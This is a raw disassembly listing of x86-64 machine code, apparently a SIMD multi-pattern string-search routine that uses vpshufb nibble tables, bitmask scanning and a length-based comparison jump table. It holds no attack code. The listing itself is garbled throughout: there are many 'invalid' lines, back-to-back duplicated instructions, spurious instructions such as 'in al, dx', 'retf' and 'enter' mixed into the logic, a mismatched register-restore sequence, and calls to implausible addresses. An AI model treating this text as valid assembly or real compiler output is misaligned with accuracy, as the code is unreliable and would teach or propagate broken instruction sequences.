bsf r10, r9
mov ecx, r10d
shr ecx, 4
add rcx, qword [rsp + 0x30]
mov eax, r10d
rol byte [rbx + 0x6b480fe0], 1
rcr byte [rax], 0x48
mov edx, dword [rsp + 0x18]
rol byte [rbx + 0x6b480fe0], 1
rcr byte [rax], 0x48
mov edx, dword [rsp + 0x18]
mov r14, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
or byte [rax - 0x75], cl
add r10b, byte [rax]
lea rbx, [r14 + rax*4]
mov r13, qword [rsp + 8]
sub r13, rcx
cmp r14, rbx
je 0x1400312dc
mov r11d, dword [r14]
add r14, 4
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x18]
imul rdx, r11, 0x18
mov r12, qword [rax + rdx + 0x10]
cmp r12, r13
ja 0x140031225
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
jae case.default.0x14003125e
movsxd rax, dword [rdi + r12*4]
add rax, rdi
jmp rax
mov al, byte [rcx]
cmp al, byte [rsi]
jne 0x140031225
jmp 0x140031400
lea rax, [r12 - 4]
lea rbp, [rcx + r12]
add rbp, 0xfffffffffffffffc
mov rdx, rsi
mov r15, rcx
cmp r15, rbp
jae 0x140031295
invalid
mov r8d, dword [r15]
cmp r8d, dword [rdx]
jne 0x140031225
add r15, 4
add rdx, 4
jmp 0x14003127e
mov edx, dword [rbp]
cmp edx, dword [rsi + rax]
jne 0x140031225
jmp case.0x14003125e.0
movzx eax, word [rcx]
cmp ax, word [rsi]
jne 0x140031225
jmp 0x140031408
movzx eax, word [rcx]
movzx edx, byte [rcx + 2]
shl edx, 0x10
or edx, eax
movzx eax, word [rsi]
movzx r8d, byte [rsi + 2]
shl r8d, 0x10
or r8d, eax
cmp edx, r8d
jne 0x140031225
test dword [rsi - 1], ecx
invalid
invalid
test dword [rsi - 1], ecx
invalid
jmp 0x140031410
btr r9, r10
jmp 0x1400311e8
mov rax, qword [rsp + 8]
add rax, 0xfffffffffffffff9
mov qword [rsp + 0x60], rax
vpextrq qword [rsp + 0x30], xmm0, 1
xor r8d, r8d
lea r10, [0x140239200]
cmp qword [rsp + 0x30], 0
je 0x1400314a4
xchg ebx, eax
add dword [rax], eax
invalid
xchg ebx, eax
add dword [rax], eax
add byte [rdi + rcx - 0x44], cl
je 0x14003133a
bsf r14, qword [rsp + 0x30]
xor byte [rcx + rcx*4 - 0xf], al
mov ecx, r14d
shr ecx, 4
add rcx, qword [rsp + 0x60]
mov eax, r14d
and eax, 0xf
loopne 0x140031337
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x18]
mov rbx, qword [rdx + rax + 8]
mov ebx, dword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
adc byte [rbp + rcx*4 + 0x2c], cl
or dword [rax - 0x75], 0x6c
lea r13, [rbx + rax*4]
mov rbp, qword [rsp + 8]
and al, 8
and al, 8
sub rbp, rcx
cmp rbx, r13
je 0x1400313ed
mov r11d, dword [rbx]
add rbx, 4
add al, 0x48
mov eax, dword [rsp + 0x10]
mov rax, qword [rax + 0x18]
imul rdx, r11, 0x18
rcr dword [rax], cl
mov r12, qword [rax + rdx + 0x10]
adc byte fs:[rax], dl
cmp r12, rbp
ja 0x140031347
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
add al, 0x73
invalid
add al, 0x73
adc dword [rbx + 0x63], ecx
add al, 0xa2
movsxd rax, dword [r10 + r12*4]
add rax, r10
jmp rax
jne 0x140031347
jmp 0x140031400
lea rax, [r12 - 4]
lea r9, [rcx + r12]
and dword [rcx - 0x7d], ecx
invalid
cld
cld
mov rdx, rsi
mov r15, rcx
cmp r15, r9
jae 0x1400313b3
mov edi, dword [r15]
cmp edi, dword [rdx]
cmp dh, byte [rbp - 0x62]
cmp dh, byte [rbp - 0x62]
add r15, 4
add rdx, 4
jmp 0x14003139d
mov edx, dword [r9]
cmp edx, dword [rsi + rax]
jne 0x140031347
jmp case.0x14003125e.0
movzx eax, word [r9]
movzx edx, byte [rcx + 2]
shl edx, 0x10
or edx, eax
movzx eax, word [rsi]
movzx r9d, byte [rsi + 2]
shl r9d, 0x10
or r9d, eax
cmp edx, r9d
jne 0x140031347
jmp 0x140031410
mov rax, qword [rsp + 0x30]
btr rax, r14
mov qword [rsp + 0x30], rax
jmp 0x140031305
mov r12d, 1
jmp case.0x14003125e.0
mov r12d, 2
jmp case.0x14003125e.0
mov r12d, 3
add r12, rcx
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r12
mov dword [rax + 0x18], r11d
mov r8d, 1
mov qword [rax], r8
vmovaps xmm6, xmmword [rsp + 0x80]
vmovaps xmm7, xmmword [rsp + 0x90]
vmovaps xmm8, xmmword [rsp + 0xa0]
vmovaps xmm9, xmmword [rsp + 0xb0]
vmovaps xmm10, xmmword [rsp + 0xc0]
vmovaps xmm11, xmmword [rsp + 0xd0]
vmovaps xmm12, xmmword [rsp + 0xe0]
vmovaps xmm13, xmmword [rsp + 0xf0]
vmovaps xmm14, xmmword [rsp + 0x100]
vmovaps xmm15, xmmword [rsp + 0x110]
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
vzeroupper
ret
mov rax, qword [rsp + 0x28]
jmp 0x140031430
add rdx, 0x260
vpcmpeqd xmm12, xmm12, xmm12
vpbroadcastb xmm8, byte [0x140239210]
js 0x140031a63
scasb al, byte [rdi]
ja 0x140031a81
add ah, al
adc dword [r14 - 0x13], esi
vpcmpeqd xmm14, xmm14, xmm14
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
mov qword [rsp + 0x28], rax
cmp r8, rax
ja 0x1400323d4
vmovdqu xmm9, xmmword [r8]
vpsrlw xmm10, xmm9, 4
vpand xmm15, xmm9, xmm8
vpshufb xmm9, xmm7, xmm15
add r15b, cl
vpand xmm0, xmm10, xmm8
vpshufb xmm10, xmm6, xmm0
vpand xmm9, xmm10, xmm9
leave
leave
vpshufb xmm10, xmm4, xmm15
vpshufb xmm11, xmm5, xmm0
vpand xmm10, xmm11, xmm10
vpshufb xmm11, xmm2, xmm15
vpshufb xmm1, xmm3, xmm0
vpand xmm11, xmm11, xmm1
vmovdqa xmm1, xmmword [rsp + 0x30]
vpshufb xmm1, xmm1, xmm15
vmovdqa xmm15, xmmword [rsp + 0x50]
vpshufb xmm0, xmm15, xmm0
vpand xmm0, xmm1, xmm0
vpalignr xmm1, xmm9, xmm14, 0xd
vpalignr xmm13, xmm10, xmm13, 0xe
vpand xmm1, xmm13, xmm1
vpand xmm13, xmm1, xmm0
vpalignr xmm12, xmm11, xmm12, 0xf
vptest xmm13, xmm12
je 0x140031d48
vpand xmm12, xmm13, xmm12
lea rax, [r8 - 3]
mov qword [rsp], rax
vmovq rcx, xmm12
invalid
stc
jle 0x140031af2
mov qword [rsp + 8], r8
test rcx, rcx
je 0x140031c28
bsf r13, rcx
mov r8d, r13d
shr r8d, 3
add ecx, dword [rbx + rax + 4]
and al, 0x44
mov eax, ebp
and eax, 7
imul rax, rax, 0x18
mov rbp, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea rbx, [rax*4]
add rbx, rbp
mov r14, r8
sub r9, r8
cmp rbp, rbx
je 0x140031c10
mov r10d, dword [rbp]
mov edx, dword [rbp]
add rbp, 4
mov rax, qword [r11 + 0x18]
imul rdx, r10, 0x18
mov rsi, qword [rax + rdx + 0x10]
cmp rsi, r9
ja 0x140031b53
mov rax, qword [rax + rdx + 8]
cmp rsi, 4
add al, 0x73
invalid
lea r8, [0x140239294]
movsxd rdx, dword [r8 + rsi*4]
add rdx, r8
jmp rdx
mov dl, byte [r14]
cmp dl, byte [rax]
jne 0x140031b53
jmp 0x140032322
lea rdi, [rsi - 4]
cld
mov r12, r14
lea r8, [r14 + rsi]
add r8, 0xfffffffffffffffc
mov rdx, rax
cmp r12, r8
jae 0x140031bc7
mov r15d, dword [r12]
cmp r15d, dword [rdx]
jne 0x140031b53
add r12, 4
add rdx, 4
jmp 0x140031baf
mov edx, dword [r8]
cmp edx, dword [rax + rdi]
jne 0x140031b53
jmp case.0x140031caf.0
movzx edx, word [r14]
cmp dx, word [rax]
jne 0x140031b53
jmp 0x140032329
movzx edx, word [r14]
movzx r8d, byte [r14 + 2]
shl r8d, 0x10
or r8d, edx
movzx edx, word [rax]
movzx eax, byte [rax + 2]
shl eax, 0x10
or eax, edx
cmp r8d, eax
jne 0x140031b53
jmp 0x14003231b
btr rcx, r13
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 8]
jmp 0x140031b16
lea rax, [r8 + 5]
mov qword [rsp], rax
vpextrq rcx, xmm12, 1
test rcx, rcx
je 0x140031d48
bsf r13, rcx
mov r8d, r13d
shr r8d, 3
add r8, qword [rsp]
mov eax, r13d
and eax, 7
imul rax, rax, 0x18
mov rbp, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea rbx, [rax*4]
add rbx, rbp
mov r14, r8
sub r9, r8
cmp rbp, rbx
je 0x140031d30
mov r10d, dword [rbp]
add rbp, 4
mov rax, qword [r11 + 0x18]
imul rdx, r10, 0x18
mov rsi, qword [rax + rdx + 0x10]
cmp rsi, r9
ja 0x140031c73
mov rax, qword [rax + rdx + 8]
cmp rsi, 4
jae case.default.0x140031caf
lea r8, [0x1402392a4]
movsxd rdx, dword [r8 + rsi*4]
add rdx, r8
jmp rdx
mov dl, byte [r14]
cmp dl, byte [rax]
jne 0x140031c73
jmp 0x140032322
lea rdi, [rsi - 4]
mov r12, r14
lea r8, [r14 + rsi]
add r8, 0xfffffffffffffffc
mov rdx, rax
cmp r12, r8
jae 0x140031ce7
mov r15d, dword [r12]
cmp r15d, dword [rdx]
jne 0x140031c73
add r12, 4
add rdx, 4
jmp 0x140031ccf
mov edx, dword [r8]
cmp edx, dword [rax + rdi]
jne 0x140031c73
jmp case.0x140031caf.0
movzx edx, word [r14]
cmp dx, word [rax]
jne 0x140031c73
jmp 0x140032329
movzx edx, word [r14]
movzx r8d, byte [r14 + 2]
shl r8d, 0x10
or r8d, edx
movzx edx, word [rax]
movzx eax, byte [rax + 2]
shl eax, 0x10
or eax, edx
cmp r8d, eax
jne 0x140031c73
jmp 0x14003231b
btr rcx, r13
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 8]
jmp 0x140031c36
add r8, 0x10
vmovdqa xmm12, xmm11
vmovdqa xmm13, xmm10
vmovdqa xmm14, xmm9
mov rax, qword [rsp + 0x28]
jmp 0x140031a76
cmp r8, rax
ja 0x140032578
vmovdqu ymm9, ymmword [r8]
vpsrlw ymm10, ymm9, 4
vpand ymm15, ymm9, ymm8
xor eax, 0x42c4f8db
add r15b, r9b
vpand ymm0, ymm10, ymm8
vpshufb ymm10, ymm6, ymm0
vpand ymm9, ymm10, ymm9
vpshufb ymm10, ymm4, ymm15
vpshufb ymm11, ymm5, ymm0
vpand ymm10, ymm11, ymm10
vpshufb ymm11, ymm2, ymm15
vpshufb ymm1, ymm3, ymm0
vpand ymm11, ymm11, ymm1
vmovdqu ymm1, ymmword [rsp + 0x30]
vpshufb ymm1, ymm1, ymm15
vmovdqu ymm15, ymmword [rsp + 0x50]
push rax
vpshufb ymm0, ymm15, ymm0
vpand ymm0, ymm1, ymm0
vperm2i128 ymm1, ymm14, ymm9, 0x21
or eax, 0xc421c946
jrcxz 0x140031e79
xor eax, 0xc50dc90f
cmc
fcmovnb st(0), st(0)
or eax, 0xc421c946
jrcxz 0x140031e79
invalid
bswap ecx
or eax, 0xc0dbf5c5
vperm2i128 ymm1, ymm13, ymm10, 0x21
vpalignr ymm1, ymm10, ymm1, 0xe
vpand ymm13, ymm0, ymm1
vperm2i128 ymm0, ymm12, ymm11, 0x21
ret
and esp, eax
invalid
and eax, 0xc40fe00f
jge 0x140031e82
in al, dx
je 0x140032303
mov qword [rsp + 0x28], rax
vpand ymm12, ymm13, ymm12
mov qword [rsp + 8], r8
adc eax, 0x894ce4db
and al, 8
lea rax, [r8 - 3]
mov qword [rsp], rax
vmovq rbp, xmm12
test rbp, rbp
je 0x140031f97
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
bsf rbx, rbp
mov ecx, ebx
shr ecx, 3
add rcx, qword [rsp]
mov eax, ebx
and eax, 7
imul rax, rax, 0x18
mov r14, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
mov rdx, rcx
lea r15, [r14 + rax*4]
mov rax, r9
sub rax, rcx
cmp r14, r15
je 0x140031f84
mov r10d, dword [r14]
add r14, 4
mov rcx, qword [r11 + 0x18]
imul r8, r10, 0x18
mov rsi, qword [rcx + r8 + 0x10]
cmp rsi, rax
ja 0x140031ec4
mov r8, qword [rcx + r8 + 8]
cmp rsi, 4
jae case.default.0x140031eff
lea r9, [0x140239214]
movsxd rcx, dword [r9 + rsi*4]
invalid
or al, 0xb1
add rcx, r9
jmp rcx
mov cl, byte [rdx]
cmp cl, byte [r8]
jne 0x140031ec4
jmp 0x140032336
lea rdi, [rsi - 4]
lea r13, [rdx + rsi]
add r13, 0xfffffffffffffffc
mov r9, r8
mov rcx, rdx
cmp rcx, r13
jae 0x140031f36
mov r12d, dword [rcx]
cmp r12d, dword [r9]
jne 0x140031ec4
add rcx, 4
add r9, 4
jmp 0x140031f1f
mov ecx, dword [r13]
cmp ecx, dword [r8 + rdi]
jne 0x140031ec4
jmp case.0x140031eff.0
movzx ecx, word [rdx]
cmp cx, word [r8]
cmp ecx, dword [r8]
cmp ecx, dword [r8]
jne 0x140031ec4
jmp 0x14003233d
movzx ecx, word [rdx]
movzx r9d, byte [rdx + 2]
shl r9d, 0x10
or r9d, ecx
movzx ecx, word [r8]
movzx r8d, byte [r8 + 2]
add al, byte [rcx - 0x3f]
loopne 0x140031f83
or r8d, ecx
cmp r9d, r8d
jne 0x140031ec4
jmp 0x140032344
btr rbp, rbx
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
mov edx, dword [rsp + 0x10]
mov edx, dword [rsp + 0x10]
jmp 0x140031e8e
mov rax, qword [rsp + 8]
add rax, 5
mov qword [rsp], rax
add al, 0x24
add al, 0x24
vpextrq rbp, xmm12, 1
test rbp, rbp
je case.0x140014921.60
bsf rbx, rbp
mov ecx, ebx
shr ecx, 3
add rcx, qword [rsp]
mov eax, ebx
and eax, 7
imul rax, rax, 0x18
mov r14, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea r15, [r14 + rax*4]
mov rax, r9
mov r13, rcx
sub rax, rcx
cmp r14, r15
je 0x1400320a3
mov r10d, dword [r14]
add r14, 4
mov rcx, qword [r11 + 0x18]
imul rdx, r10, 0x18
mov rsi, qword [rcx + rdx + 0x10]
cmp rsi, rax
ja 0x140031fe0
mov r9, qword [rcx + rdx + 8]
cmp rsi, 4
jae case.default.0x14003201b
lea rdx, [0x140239224]
movsxd rcx, dword [rdx + rsi*4]
add rcx, rdx
jmp rcx
mov cl, byte [r13]
cmp cl, byte [r9]
jne 0x140031fe0
jmp 0x140032745
lea rdi, [rsi - 4]
mov rcx, r13
lea r8, [rsi + r13]
add r8, 0xfffffffffffffffc
mov rdx, r9
cmp rcx, r8
jae 0x140032054
mov r12d, dword [rcx]
cmp r12d, dword [rdx]
jne 0x140031fe0
add rcx, 4
add rdx, 4
jmp 0x14003203d
mov ecx, dword [r8]
cmp ecx, dword [r9 + rdi]
jne 0x140031fe0
jmp case.0x140032268.0
movzx ecx, word [r13]
cmp cx, word [r9]
jne 0x140031fe0
jmp 0x140032753
movzx ecx, word [r13]
movzx edx, byte [r13 + 2]
shl edx, 0x10
adc byte [rcx], cl
retf 0xf41
mov bh, 9
movzx r8d, byte [r9 + 2]
shl r8d, 0x10
or r8d, ecx
cmp edx, r8d
jne 0x140031fe0
jmp 0x14003274c
add byte [rax + 0xf], cl
mov bl, 0xdd
btr rbp, rbx
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
jmp 0x140031faa
mov rax, qword [rsp + 8]
add rax, 0xd
mov qword [rsp], rax
vextracti128 xmm12, ymm12, 1
vmovq rbp, xmm12
test rbp, rbp
je case.0x140014921.85
bsf rbx, rbp
mov ecx, ebx
shr ecx, 3
add rcx, qword [rsp]
mov eax, ebx
and eax, 7
imul rax, rax, 0x18
mov r14, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea r15, [r14 + rax*4]
mov rax, r9
mov r13, rcx
sub rax, rcx
cmp r14, r15
je 0x1400321c7
mov r10d, dword [r14]
add r14, 4
mov rcx, qword [r11 + 0x18]
imul rdx, r10, 0x18
mov rsi, qword [rcx + rdx + 0x10]
cmp rsi, rax
ja 0x140032104
mov r9, qword [rcx + rdx + 8]
cmp rsi, 4
jae case.default.0x14003213f
lea rdx, [0x140239234]
movsxd rcx, dword [rdx + rsi*4]
add rcx, rdx
jmp rcx
mov cl, byte [r13]
cmp cl, byte [r9]
jne 0x140032104
jmp 0x140032745
lea rdi, [rsi - 4]
mov rcx, r13
lea r8, [rsi + r13]
add r8, 0xfffffffffffffffc
mov rdx, r9
cmp rcx, r8
jae 0x140032178
mov r12d, dword [rcx]
cmp r12d, dword [rdx]
and dh, byte [rbp - 0x6a]
add rcx, 4
add rdx, 4
jmp 0x140032161
mov ecx, dword [r8]
cmp ecx, dword [r9 + rdi]
jne 0x140032104
jmp case.0x140032268.0
movzx ecx, word [r13]
cmp cx, word [r9]
jne 0x140032104
jmp 0x140032753
movzx ecx, word [r13]
movzx edx, byte [r13 + 2]
shl edx, 0x10
adc byte [rcx], cl
retf 0xf41
mov bh, 9
movzx r8d, byte [r9 + 2]
shl r8d, 0x10
or r8d, ecx
cmp edx, r8d
ret 0x850f
invalid
invalid
invalid
invalid
ret 0x850f
jmp 0x14003274c
btr rbp, rbx
mov r9, qword [rsp + 0x18]
sbb byte [rax - 0x75], cl
push rsp
and al, 0x10
sbb byte [rax - 0x75], cl
push rsp
and al, 0x10
jmp 0x1400320ce
mov rax, qword [rsp + 8]
add rax, 0x15
mov qword [rsp], rax
vpextrq rbp, xmm12, 1
invalid
in eax, 1
invalid
test rbp, rbp
mov r8, qword [rsp + 8]
mov rax, qword [rsp + 0x28]
je 0x140032303
bsf rbx, rbp
mov ecx, ebx
shr ecx, 3
add rcx, qword [rsp]
mov eax, ebx
and eax, 7
imul rax, rax, 0x18
mov r14, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea r15, [r14 + rax*4]
mov rax, r9
mov r13, rcx
sub rax, rcx
cmp r14, r15
je 0x1400322f0
invalid
mov r10d, dword [r14]
add r14, 4
mov rcx, qword [r11 + 0x18]
imul rdx, r10, 0x18
mov rsi, qword [rcx + rdx + 0x10]
cmp rsi, rax
ja 0x14003222d
mov r9, qword [rcx + rdx + 8]
cmp rsi, 4
jae case.default.0x140032268
lea rdx, [0x140239244]
movsxd rcx, dword [rdx + rsi*4]
add rcx, rdx
jmp rcx
mov cl, byte [r13]
cmp cl, byte [r9]
jne 0x14003222d
jmp 0x140032745
lea rdi, [rsi - 4]
mov rcx, r13
lea r8, [rsi + r13]
add r8, 0xfffffffffffffffc
sar ah, 0x4c
mov edx, ecx
sar ah, 0x4c
mov edx, ecx
cmp rcx, r8
jae 0x1400322a1
mov r12d, dword [rcx]
cmp r12d, dword [rdx]
jne 0x14003222d
add rcx, 4
add rdx, 4
jmp 0x14003228a
mov ecx, dword [r8]
cmp ecx, dword [r9 + rdi]
jne 0x14003222d
jmp case.0x140032268.0
movzx ecx, word [r13]
cmp cx, word [r9]
jne 0x14003222d
jmp 0x140032753
movzx ecx, word [r13]
movzx edx, byte [r13 + 2]
shl edx, 0x10
or edx, ecx
movzx ecx, word [r9]
movzx r8d, byte [r9 + 2]
shl r8d, 0x10
or r8d, ecx
cmp edx, r8d
jne 0x14003222d
jmp 0x14003274c
btr rbp, rbx
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
jmp 0x1400321ed
add r8, 0x20
vmovdqa ymm12, ymm11
vmovdqa ymm13, ymm10
vmovdqa ymm14, ymm9
jmp 0x140031dd7
mov esi, 3
add byte [rax], al
jmp case.0x140031caf.0
mov esi, 1
jmp case.0x140031caf.0
mov esi, 2
mov rdx, r14
add rsi, r14
jmp 0x14003234c
mov esi, 1
jmp case.0x140031eff.0
mov esi, 2
jmp case.0x140031eff.0
mov esi, 3
add rsi, rdx
mov rax, qword [rsp + 0x20]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x18], r10d
mov r8d, 1
mov qword [rax], r8
vmovaps xmm6, xmmword [rsp + 0x70]
vmovaps xmm7, xmmword [rsp + 0x80]
add byte [rax], al
add ch, al
js 0x1400323a0
test byte [rax + rdx*4], ah
add byte [rax], al
add ch, al
js 0x1400323a9
mov word [rax + riz*4], fs
add byte [rax], al
add ch, al
js 0x1400323b2
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax], al
js 0x1400323a9
mov word [rax + riz*4], fs
add byte [rax], al
add ch, al
js 0x1400323b2
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax], al
invalid
js 0x1400323bb
vmovaps xmm11, xmmword [rsp + 0xc0]
vmovaps xmm12, xmmword [rsp + 0xd0]
add byte [rax], al
invalid
pushfq
and al, 0xc0
add byte [rax], al
add ch, al
js 0x1400323c4
movsb byte [rdi], byte [rsi]
and al, 0xd0
add byte [rax], al
add ch, al
js 0x1400323cd
vmovaps xmm13, xmmword [rsp + 0xe0]
lodsb al, byte [rsi]
and al, 0xe0
add byte [rax], al
add ch, al
js 0x1400323d6
add byte [rax], al
vmovaps xmm14, xmmword [rsp + 0xf0]
mov ah, 0x24
lock add byte [rax], al
add ch, al
add byte [rax], al
vmovaps xmm15, xmmword [rsp + 0x100]
js 0x1400323df
mov esp, 0x10024
add byte [rax - 0x7f], cl
invalid
add byte [rax], al
add rsp, 0x118
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
vzeroupper
ret
cmp r8, r9
jae 0x140032738
enter 0xffffffffffff830f, 0x5b
add eax, dword [rax]
add ch, al
cli
vmovdqu xmm0, xmmword [rax]
vpsrlw xmm1, xmm0, 4
vpand xmm0, xmm8, xmm0
vpshufb xmm7, xmm7, xmm0
outsd dx, dword [rsi]
add ch, al
int1
jno 0x1400323b5
add al, 0xc5
mov ecx, 0xe2c4c0db
add r8b, dil
vpand xmm1, xmm8, xmm1
vpshufb xmm6, xmm6, xmm1
vpand xmm6, xmm6, xmm7
vpshufb xmm4, xmm4, xmm0
vpshufb xmm5, xmm5, xmm1
vpand xmm4, xmm5, xmm4
vpshufb xmm2, xmm2, xmm0
vpshufb xmm3, xmm3, xmm1
vpand xmm2, xmm3, xmm2
vmovdqa xmm3, xmmword [rsp + 0x30]
vpshufb xmm0, xmm3, xmm0
vmovdqa xmm3, xmmword [rsp + 0x50]
vpshufb xmm1, xmm3, xmm1
vpand xmm0, xmm0, xmm1
vpcmpeqd xmm1, xmm1, xmm1
vpalignr xmm3, xmm6, xmm1, 0xd
vpalignr xmm4, xmm4, xmm1, 0xe
vpand xmm3, xmm4, xmm3
vpand xmm0, xmm3, xmm0
vpalignr xmm1, xmm2, xmm1, 0xf
vptest xmm0, xmm1
je 0x140032738
vpand xmm0, xmm0, xmm1
lea rax, [r9 - 0x13]
mov qword [rsp], rax
vmovq rax, xmm0
lea rbx, [0x1402392b4]
test rax, rax
je 0x140032763
mov qword [rsp + 8], rax
bsf r14, rax
mov ecx, r14d
shr ecx, 3
add rcx, qword [rsp]
mov eax, r14d
and eax, 7
imul rax, rax, 0x18
mov r15, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea rax, [r15 + rax*4]
mov rdi, rcx
sub r9, rcx
cmp r15, rax
je 0x140032560
mov r10d, dword [r15]
add r15, 4
mov rcx, qword [r11 + 0x18]
imul rdx, r10, 0x18
mov rsi, qword [rcx + rdx + 0x10]
cmp rsi, r9
ja 0x1400324ad
mov rcx, qword [rcx + rdx + 8]
cmp rsi, 4
jae case.default.0x1400324e1
movsxd rdx, dword [rbx + rsi*4]
add rdx, rbx
jmp rdx
mov dl, byte [rdi]
cmp dl, byte [rcx]
jne 0x1400324ad
jmp 0x140032aca
lea r13, [rsi - 4]
mov r12, rdi
lea rbp, [rdi + rsi]
add rbp, 0xfffffffffffffffc
mov rdx, rcx
cmp r12, rbp
jae 0x140032518
mov r8d, dword [r12]
cmp r8d, dword [rdx]
jne 0x1400324ad
add r12, 4
add rdx, 4
jmp 0x140032500
mov edx, dword [rbp]
cmp edx, dword [rcx + r13]
jne 0x1400324ad
jmp case.0x140032a3a.0
movzx edx, word [rdi]
cmp dx, word [rcx]
jne 0x1400324ad
jmp 0x140032ad8
movzx edx, word [rdi]
movzx r8d, byte [rdi + 2]
shl r8d, 0x10
or r8d, edx
movzx edx, word [rcx]
movzx ecx, byte [rcx + 2]
shl ecx, 0x10
or ecx, edx
cmp r8d, ecx
jne 0x1400324ad
jmp 0x140032ad1
mov rax, qword [rsp + 8]
btr rax, r14
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
jmp 0x140032473
cmp r8, r9
jae 0x140032738
vmovdqu ymm0, ymmword [rax]
vpsrlw ymm1, ymm0, 4
vpand ymm0, ymm8, ymm0
rol ah, 0xe2
add r8b, r15b
vpand ymm1, ymm8, ymm1
vpshufb ymm6, ymm6, ymm1
add r9b, r14b
add r9b, r14b
vpand ymm6, ymm6, ymm7
vpshufb ymm4, ymm4, ymm0
vpshufb ymm5, ymm5, ymm1
vpand ymm4, ymm5, ymm4
vpshufb ymm2, ymm2, ymm0
vpshufb ymm3, ymm3, ymm1
vpand ymm2, ymm3, ymm2
rol ch, cl
invalid
outsd dx, dword [rsi]
pop rsp
and al, 0x30
vpshufb ymm0, ymm3, ymm0
vmovdqu ymm3, ymmword [rsp + 0x50]
vpshufb ymm1, ymm3, ymm1
vpand ymm0, ymm0, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vperm2i128 ymm3, ymm6, ymm1, 2
fld dword [rdx]
fld dword [rdx]
vpalignr ymm3, ymm6, ymm3, 0xd
vpand ymm0, ymm3, ymm0
vinserti128 ymm3, ymm1, xmm4, 1
add esp, eax
jrcxz case.0x14000e46f.66
pand mm1, qword [rsi]
add esp, eax
jrcxz case.0x14000e46f.66
pand mm1, qword [rsi]
vpand ymm0, ymm0, ymm3
vperm2i128 ymm1, ymm2, ymm1, 2
vpalignr ymm1, ymm2, ymm1, 0xf
vptest ymm0, ymm1
je 0x140032738
vpand ymm0, ymm0, ymm1
lea rax, [r9 - 0x23]
mov qword [rsp], rax
vmovq rax, xmm0
lea rbx, [0x140239254]
sbb eax, 0x206c2b
test rax, rax
je 0x14003288a
add byte [rax], al
mov qword [rsp + 8], rax
bsf r14, rax
mov r8d, r14d
shr r8d, 3
call 0x144067248
invalid
mov eax, r14d
and eax, 7
imul rax, rax, 0x18
mov r15, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea rcx, [r15 + rax*4]
mov rax, r9
mov rdi, r8
sub rax, r8
cmp r15, rcx
je 0x140032720
mov al, 0
add byte [rax], al
mov r10d, dword [r15]
add r15, 4
add edi, 4
add edi, 4
mov rdx, qword [r11 + 0x18]
imul r9, r10, 0x18
mov rsi, qword [rdx + r9 + 0x10]
mov esi, dword [rdx + rcx + 0x10]
cmp rsi, rax
ja 0x140032667
invalid
mov r9, qword [rdx + r9 + 8]
cmp rsi, 4
jae case.default.0x14003269b
movsxd rdx, dword [rbx + rsi*4]
add rdx, rbx
jmp rdx
invalid
mov dl, byte [rdi]
cmp dl, byte [r9]
jne 0x140032667
jmp 0x140032aca
lea r13, [rsi - 4]
mov r12, rdi
lea rbp, [rdi + rsi]
add rbp, 0xfffffffffffffffc
mov rdx, r9
cmp r12, rbp
cmp esp, ebp
jae 0x1400326d3
mov r8d, dword [r12]
cmp r8d, dword [rdx]
jne 0x140032667
add r12, 4
add rdx, 4
add al, 0xeb
invalid
add al, 0xeb
call 0x183037c62
cmp edx, dword [rcx + rbp]
mov edx, dword [rbp]
cmp edx, dword [r9 + r13]
jne 0x140032667
jmp case.0x140032a3a.0
movzx edx, word [rdi]
cmp dx, word [r9]
jne 0x140032667
jmp 0x140032ad8
movzx edx, word [rdi]
movzx r8d, byte [rdi + 2]
shl r8d, 0x10
or r8d, edx
movzx edx, word [r9]
movzx r9d, byte [r9 + 2]
shl r9d, 0x10
or r9d, edx
cmp r8d, r9d
jne 0x140032667
jmp 0x140032ad1
mov rax, qword [rsp + 8]
btr rax, r14
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
jmp 0x140032629
xor r8d, r8d
mov rax, qword [rsp + 0x20]
jmp 0x140032363
mov esi, 1
add byte [rax], al
jmp case.0x140032268.0
mov esi, 3
jmp case.0x140032268.0
mov esi, 2
mov rdx, r13
add rsi, r13
jmp 0x14003234c
lea rax, [r9 - 0xb]
mov qword [rsp + 0x30], rax
vpextrq rax, xmm0, 1
xor r8d, r8d
lea r14, [0x1402392c4]
test rax, rax
je 0x14003273b
mov qword [rsp + 8], rax
bsf rax, rax
mov r10d, eax
shr r10d, 3
add r10, qword [rsp + 0x30]
mov qword [rsp], rax
and eax, 7
imul rax, rax, 0x18
mov rcx, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea rax, [rcx + rax*4]
mov r15, r10
sub r9, r10
cmp rcx, rax
je 0x14003286e
mov r10d, dword [rcx]
add rcx, 4
mov rdx, qword [r11 + 0x18]
